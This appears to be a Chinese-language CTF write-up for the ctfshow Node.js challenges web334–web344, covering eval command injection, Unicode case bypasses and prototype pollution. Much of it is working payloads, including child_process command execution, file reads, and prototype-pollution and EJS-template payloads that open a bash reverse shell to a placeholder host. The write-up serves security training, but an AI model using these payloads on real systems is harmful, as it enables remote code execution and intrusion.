note
1 | constructor.prototype==__proto__ |
web334
1 | var findUser = function(name, password){ |
看到前面name!=='CTFSHOW'
后面item.username === name.toUpperCase
那么直接输入小写ctfshow和123456即可绕过
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
web335
查看源码,知道参数/?eval=
传入参数eval=require('child_process').exec('id');
可以看到是object Object 无回显
因为exec返回的是 ChildProcess
http://nodejs.cn/api/child_process.html
查看文档可以替换成如下函数1
2
3
4
5命令执行
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');1
2
3文件操作
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt');
web336
传入require('child_process').execSync('ls /').toString()
require('child_process').exec('ls /')
均回显tql,盲猜过滤了exec
使用require('child_process').spawnSync('ls',[]).output;
require('child_process').spawnSync('cat',['fl001g.txt']).output;
或者web335的读文件操作
web337
1 | var a = req.query.a; |
类似于php的传输入
payload: /?a[x]=1&b[x]=1
web338
原型链污染:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
看到copy这个函数的实现,可以想到原型链污染
根据app.js的路由,知道是routes/login.js这个文件
那么只需要抓取登录包,把post内容改为{"__proto__":{"ctfshow":"36dboy"}}
即可获取flag
web339
在做之前调试了一下nodejs,发现原型链污染完以后,在下次那个被污染的还是被污染,并不会在下次访问的时候就变成未被污染的状态
预期解
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
只要把query进行变量覆盖,就可以进行任意命令执行
注意这里是大写Function,是一个构造器,可以把这里分解为两步看
用如下payload访问login页面{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"')"}}
成功将query进行覆盖,再去访问api那个页面,就会反弹shell
非预期
主要是一个ejsRCE,参考链接:https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"');var __tmp2"}}
web340
1 | var flag='flag_here'; |
因为这次是复制user.userinfo的对象,所以需要两层proto,才能污染到最顶端的值,也就是{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"')"}}}
web341
使用ejsRCE进行反弹shell,但是这次render点在index.js
所以对login进行了原型链污染以后,需要在访问一次index.js才能反弹shell
web342 web343
https://xz.aliyun.com/t/7025
可以根据这篇文章进行调试
核心就是找到可覆盖点(可插入到模板中,且为undefined)
为什么要undefined
因为只有在某个对象他没有定义这个变量的时候才会向上的prototype去寻找,否则就算污染了原型链也是没法利用的
注意这里的payload要用execSync,不能用exec
web344
这题关键是多个相同的参数传递过去,nodejs会将其拼接为列表的形式
这里传参的时候要把payload复制到burp里面,如果浏览器直接访问,会出一些编码错误
payloadquery={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}